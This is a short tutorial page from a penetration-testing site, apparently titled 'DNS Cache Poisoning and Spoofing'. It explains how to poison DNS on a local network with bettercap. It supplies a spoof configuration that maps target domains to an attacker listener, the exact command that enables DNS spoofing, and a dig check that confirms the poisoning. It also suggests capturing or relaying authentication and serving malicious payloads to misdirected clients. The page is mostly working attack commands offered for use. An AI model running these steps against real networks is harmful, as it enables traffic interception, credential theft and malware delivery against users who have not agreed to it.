Skip to content
HackIndex logo

HackIndex

DNS Cache Poisoning and Spoofing

1 min read Mar 11, 2026

DNS cache poisoning manipulates a resolver into caching a forged response. Subsequent queries from network clients for the spoofed domain will be directed to your infrastructure. On local networks, this is often achieved by racing the legitimate resolver or performing Man-in-the-Middle (MitM) spoofing.

Local Network DNS Spoofing

When positioned on the same subnet as the target clients, use bettercap to intercept DNS requests and reply with forged A records before the legitimate DNS server responds.

Create a spoofing configuration file mapping the target domains to your listener.

# spoof.txt
.*\.target-domain\.com $LHOST

Launch bettercap specifying the network interface, enabling the DNS spoofing module, and loading your configuration.

┌──(kali㉿kali)-[~]
└─$ bettercap -iface eth0 -eval "set dns.spoof.hosts spoof.txt; dns.spoof on"

Clients querying any subdomain of target-domain.com will receive $LHOST as the authoritative answer. Start an HTTP or SMB listener on $LHOST to capture the misdirected traffic, relay authentication attempts, or serve malicious payloads.

Validating the Poisoned Cache

From a compromised host or a separate machine on the target subnet, issue a query for the spoofed domain to confirm the resolver or local cache is poisoned.

┌──(kali㉿kali)-[~]
└─$ dig @$TARGET_IP internal.target-domain.com A +short
192.168.1.50